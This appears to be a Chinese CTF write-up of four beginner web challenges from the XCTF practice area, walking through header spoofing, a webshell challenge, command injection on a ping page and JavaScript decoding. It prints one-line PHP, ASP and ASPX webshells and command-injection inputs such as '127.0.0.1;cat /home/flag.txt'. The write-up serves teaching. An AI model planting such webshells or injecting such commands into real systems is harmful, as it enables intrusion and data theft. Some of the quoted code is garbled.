【攻防世界】新手练习区(下)

admin 2025年3月30日22:37:45评论5 views字数 2895阅读9分39秒阅读模式

xff_referer

访问url:

http://111.200.241.244:43718/

题目告诉我们是xff_referer,猜测是与xff和referer相关,打开环境看看

【攻防世界】新手练习区(下)

我们分析一下协议

Referer请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。

X-Forwarded-For (XFF) 在客户端访问服务器的过程中如果需要经过HTTP代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的IP地址,这个消息首部成为事实上的标准。在消息流从客户端流向服务器的过程中被拦截的情况下,服务器端的访问日志只能记录代理服务器或者负载均衡服务器的IP地址。如果想要获得最初发起请求的客户端的IP地址的话,那么 X-Forwarded-For 就派上了用场。

构造payload:

X-Forwarded-For:123.123.123.123

页面提示必须来自https://www.google.com

【攻防世界】新手练习区(下)

继续构造payload:

Referer:https://www.google.com

得到flag为

【攻防世界】新手练习区(下)

webshell

访问url:

http://111.200.241.244:48578/

看到是一句话木马,连接密码是shell

【攻防世界】新手练习区(下)

常用的一句话木马有:

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

我们可以使用菜刀进行连接

【攻防世界】新手练习区(下)

得到flag为cyberpeace{3dffde669e47bfaaa521bbbba1f075b1}

【攻防世界】新手练习区(下)

command_execution

访问url:

http://111.200.241.244:35407/

本题给了我们一个ping页面,我们尝试ping了本机地址127.0.0.1之后回显信息

【攻防世界】新手练习区(下)

页面回显ping -c 3 127.0.0.1 ,这里提示我们这是linux系统,ping三次。我们尝试使用linux命令执行,同时执行多条命令

127.0.0.1;ls

发现有回显

【攻防世界】新手练习区(下)

补充知识:

(1)find / -name httpd.conf  #在根目录下查找文件httpd.conf,表示在整个硬盘查找
(2)find /etc -name httpd.conf  #在/etc目录下文件httpd.conf
(3)find /etc -name 'srm'  #使用通配符*(0或者任意多个)。表示在/etc目录下查找文件名中含有字符串'srm'的文件
(4)find . -name 'srm*'   #表示当前目录下查找文件名开头是字符串'srm'的文件

| 常见连接符 | 举例 | 效果 |

| -------------- | -------- | --------------------------- |
| ; | A;B | 先执行A,再执行B |
| & | A&B | 简单拼接,A B之间无制约关系 |
| | | A|B | 显示B的执行结果 |
| && | A&&B | A执行成功,然后才会执行B |
| || | A||B | A执行失败,然后才会执行B |

尝试寻找带有flag的文件

127.0.0.1;find / -name flag.txt

发现flag.txt文件,我们去查看一下

【攻防世界】新手练习区(下)

构造payload:

127.0.0.1;cat /home/flag.txt

得到flag为cyberpeace{a120a656a36cbc00c6e2b288b06564b1}

【攻防世界】新手练习区(下)

simple_js

访问url:

http://111.200.241.244:58529/

打开题目,题目名字告诉我们和js有关

【攻防世界】新手练习区(下)

怎么输入密码都不对,我们就开始审计代码

functiondechiffre(pass_enc){
varpass="70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
vartab=pass_enc.split(',');
vartab2=pass.split(',');vari,j,k,l=0,m,n,o,p="";i=0;j=tab.length;
k=j+ (l+ (n=0);
n=tab2.length;
for(i= (o=0); i< (k=j=n); i++ ){o=tab[i-l];p+=String.fromCharCode((o=tab2[i]));
if(i==5)break;}
for(i= (o=0); i< (k=j=n); i++ ){
o=tab[i-l];
if(i>5&&i<k-1)
p+=String.fromCharCode((o=tab2[i]));
                        }
p+=String.fromCharCode(tab2[17]);
pass=p;returnpass;
    }
String["fromCharCode"](dechiffre("x35x35x2cx35x36x2cx35x34x2cx37x39x2cx31x31x35x2cx36x39x2cx31x31x34x2cx31x31x36x2cx31x30x37x2cx34x39x2cx35x30"));

h=window.prompt('Enter password');
alertdechiffre(h) );

发现有个可疑的变量和dechiffre后面跟着的字符串。尝试解码一下pass

脚本如下:

string = "x35x35x2cx35x36x2cx35x34x2cx37x39x2cx31x31x35x2cx36x39x2cx31x31x34x2cx31x31x36x2cx31x30x37x2cx34x39x2cx35x30"
s_list = string.split(",")
res = ""
foriins_list:
i = chr(int(i))
res += i
print(res)

得到flag为Cyberpeace{786OsErtk12}

【攻防世界】新手练习区(下)

脚本如下

s=[55,56,54,79,115,69,114,116,107,49,50]
d=""
foriins:
b=chr(i)
d=d+b
print(d)
print(d)

攻防交流群

【攻防世界】新手练习区(下)

声明

免责声明:该文章内容仅用于学习交流自查使用,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息、技术或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关,公众号儒道易行及作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

原文始发于微信公众号(儒道易行):【攻防世界】新手练习区(下)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月30日22:37:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【攻防世界】新手练习区(下)https://cn-sec.com/archives/3898313.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息